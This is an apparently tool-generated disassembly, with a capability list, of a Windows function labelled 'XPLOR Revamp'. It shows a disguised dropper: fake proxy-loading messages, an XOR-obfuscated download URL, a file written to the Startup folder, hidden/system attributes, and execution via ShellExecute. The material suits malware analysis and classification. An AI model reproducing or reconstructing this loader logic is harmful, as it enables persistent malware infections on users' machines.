Function at 0x140006170
Capabilities:
Access peb ldr_data
Check if file exists
Contain obfuscated stackstrings
Create process on windows
Create thread
Download url
Encode data using xor
Execute command
Get common file path
Get file attributes
Get ntdll base address
Get startup folder
Receive data
Set console window title
Set file attributes
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rsp - 0x230]
sub rsp, 0x330
mov rax, qword [0x14000d040]
xor rax, rsp
mov qword [rbp + 0x220], rax
xor ebx, ebx
lea rcx, str.chcp_65001___nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.XPLOR_Revamp___v2.2
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
call fcn.140005ab0
test al, al
je 0x1400061d5
mov byte [0x14000d7e8], 1
mov ecx, 8
call fcn.1400070f0
lea rcx, [0x140001060]
mov qword [rax], rcx
mov qword [rbp - 0x30], rax
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
lea r8, [0x140007050]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x30], rax
test rax, rax
je 0x140006ac0
cmp dword [rsp + 0x38], 0
je 0x140006ab4
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rbp - 0x30], xmm0
lea rcx, [rbp - 0x30]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x140006ab4
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x30], xmm0
cmp byte [0x14000d7e8], al
jne 0x14000625a
call fcn.140005410
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rdx, qword [rcx + 0x10]
mov eax, dword [rdx + 0x30]
add eax, 0x100000
mov dword [rdx + 0x40], eax
call fcn.140001220
call fcn.140001460
test eax, eax
je 0x14000628b
mov byte [0x14000d7e8], 1
call fcn.140001660
test eax, eax
je 0x14000629b
mov byte [0x14000d7e8], 1
mov dword [rsp + 0x50], 0x2f652f78
mov dword [rsp + 0x54], 0x2f632f66
mov dword [rsp + 0x58], 0x2f2f2f67
mov dword [rsp + 0x5c], 0x2f382f39
mov dword [rsp + 0x60], 0x2f702f7e
mov dword [rsp + 0x64], 0x2f7e2f76
mov dword [rsp + 0x68], 0x2f7a2f32
mov dword [rsp + 0x6c], 0x2f6d2f7f
mov dword [rsp + 0x70], 0x2f442f44
mov dword [rsp + 0x74], 0x2f0c2f4c
mov dword [rsp + 0x78], 0x2f512f7e
mov dword [rsp + 0x7c], 0x2f772f5f
mov dword [rbp - 0x80], 0x2f422f59
mov dword [rbp - 0x7c], 0x2f062f62
mov dword [rbp - 0x78], 0x2f462f6b
mov dword [rbp - 0x74], 0x2f602f57
mov dword [rbp - 0x70], 0x2f582f54
mov dword [rbp - 0x6c], 0x2f6b2f7d
mov dword [rbp - 0x68], 0x2f402f1b
mov dword [rbp - 0x64], 0x2f4f2f46
mov dword [rbp - 0x60], 0x2f172f0c
mov dword [rbp - 0x5c], 0x2f5a2f58
mov dword [rbp - 0x58], 0x2f48
mov byte [rbp - 0x54], 1
mov rax, rbx
movdqa xmm3, xmmword [0x140009d70]
mov r8d, 4
movdqa xmm4, xmmword [0x140009d80]
nop word [rax + rax]
movq xmm0, rax
punpcklqdq xmm0, xmm0
movdqa xmm2, xmm4
paddq xmm2, xmm0
movd xmm1, dword [rsp + rax*2 + 0x50]
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rsp + rax*2 + 0x50], xmm1
lea rcx, [r8 - 1]
lea rdx, [r8 - 2]
movq xmm0, rcx
movq xmm2, rdx
punpcklqdq xmm2, xmm0
paddq xmm2, xmm3
movd xmm1, dword [rsp + rax*2 + 0x54]
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rsp + rax*2 + 0x54], xmm1
movq xmm0, r8
punpcklqdq xmm0, xmm0
movdqa xmm2, xmm4
paddq xmm2, xmm0
movd xmm1, dword [rsp + rax*2 + 0x58]
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rsp + rax*2 + 0x58], xmm1
lea rcx, [r8 + 3]
lea rdx, [r8 + 2]
movq xmm0, rcx
movq xmm2, rdx
punpcklqdq xmm2, xmm0
paddq xmm2, xmm3
movd xmm1, dword [rsp + rax*2 + 0x5c]
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rsp + rax*2 + 0x5c], xmm1
add rax, 8
add r8, 8
cmp r8, 0x2c
jb 0x140006370
cmp rax, 0x2d
jae 0x140006491
mov edx, 0x2f10
nop dword [rax]
nop word [rax + rax]
lea ecx, [rdx + rax]
xor word [rsp + rax*2 + 0x50], cx
inc rax
cmp rax, 0x2d
jb 0x140006480
mov byte [rbp - 0x54], 0
lea r8, [rbp - 0x56]
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x10]
call fcn.140006d40
nop
lea rax, [rbp + 0x10]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 7
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea rcx, [rbp - 0x30]
test eax, eax
lea rdx, [rbp + 0x10]
jns 0x1400064d7
lea rdx, [0x1400098fc]
call fcn.140005970
nop
mov dword [rsp + 0x30], 0x2f752f4c
mov dword [rsp + 0x34], 0x2f602f77
mov dword [rsp + 0x38], 0x2f612f7f
mov dword [rsp + 0x3c], 0x2f672f79
mov dword [rsp + 0x40], 0x2f7b2f36
mov dword [rsp + 0x44], 0x2f6f2f7b
mov word [rsp + 0x48], bx
mov byte [rsp + 0x4a], 1
lea r8, [rsp + 0x30]
lea rdx, [rbp - 0x30]
lea rcx, [rbp - 0x50]
call fcn.140006ad0
nop
mov rdx, qword [rbp - 0x18]
cmp rdx, 7
jbe 0x14000656d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006568
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006568
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400071fc
cmp byte [0x14000d7e8], 0
jne 0x1400069d4
lea rdx, [0x140009ba8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004250
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, 0xe
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.LOADING
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004250
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, 0xf
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.___Getting_proxies.._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004250
lea rdx, [0x140009ba8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004250
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, 6
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.WARNING
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004250
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, 0xf
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.___This_might_take_a_while_depending_on_your_system___This_is_a_one_time_thing__n_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004250
lea rcx, [rbp - 0x50]
cmp qword [rbp - 0x38], 7
cmova rcx, qword [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x140006957
lea r8, [rbp - 0x50]
cmp qword [rbp - 0x38], 7
cmova r8, qword [rbp - 0x50]
lea rdx, [rbp - 0x10]
cmp qword [rbp + 8], 7
cmova rdx, qword [rbp - 0x10]
mov qword [rsp + 0x20], rbx
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
jns 0x140006701
lea rdx, [0x140009ba8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004250
mov ecx, 0xc
call fcn.140006140
lea rdx, str.FINISH
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004250
mov ecx, 0xf
call fcn.140006140
lea rdx, str.___Failed_to_get_proxies_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004250
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
cmp byte [0x14000d7e9], 0
jne 0x1400069d4
lea rdx, [0x140009ba8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004250
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, 0xe
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.LOADING
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004250
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, 0xf
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.___Retrieved_proxies__now_configuring.._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004250
lea rcx, [rbp - 0x50]
cmp qword [rbp - 0x38], 7
cmova rcx, qword [rbp - 0x50]
mov edx, 6
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea rdx, [0x140009ba8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
test eax, eax
jne 0x1400067fa
call fcn.140004250
mov ecx, 0xc
call fcn.140006140
lea rdx, str.FINISH
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004250
mov ecx, 0xf
call fcn.140006140
lea rdx, str.___Failed_to_configure_proxies__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004250
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call fcn.140004250
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, 0xe
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.LOADING
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004250
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, 0xf
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.___Retrieved_proxies__now_loading.._n_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004250
lea r8, [rbp - 0x50]
cmp qword [rbp - 0x38], 7
cmova r8, qword [rbp - 0x50]
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
lea rdx, [0x140009ba8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
cmp eax, 0x20
jg 0x1400068ed
call fcn.140004250
mov ecx, 0xc
call fcn.140006140
lea rdx, str.FINISH
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004250
mov ecx, 0xf
call fcn.140006140
lea rdx, str.___Failed_to_load_proxies__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004250
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call fcn.140004250
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, 0xa
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.FINISH
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004250
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, 0xf
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.___Succesfully_loaded_proxies_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004250
mov ecx, 0x9c4
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400069d4
lea rdx, [0x140009ba8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004250
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, 0xe
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.LOADING
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004250
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, 0xf
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.___Proxies_already_found__now_skipping..
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004250
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
mov byte [0x14000d7e9], 1
lea rcx, [0x140009934]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.1400020e0
call fcn.1400038e0
nop
mov rdx, qword [rbp - 0x38]
cmp rdx, 7
jbe 0x140006a2f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006a2a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006a2a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400071fc
mov qword [rbp - 0x40], rbx
mov qword [rbp - 0x38], 7
mov word [rbp - 0x50], bx
mov rdx, qword [rbp + 8]
cmp rdx, 7
jbe 0x140006a82
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006a7d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006a7d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400071fc
xor eax, eax
mov rcx, qword [rbp + 0x220]
xor rcx, rsp
call fcn.1400070d0
lea r11, [rsp + 0x330]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rsp + 0x38], ebx
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3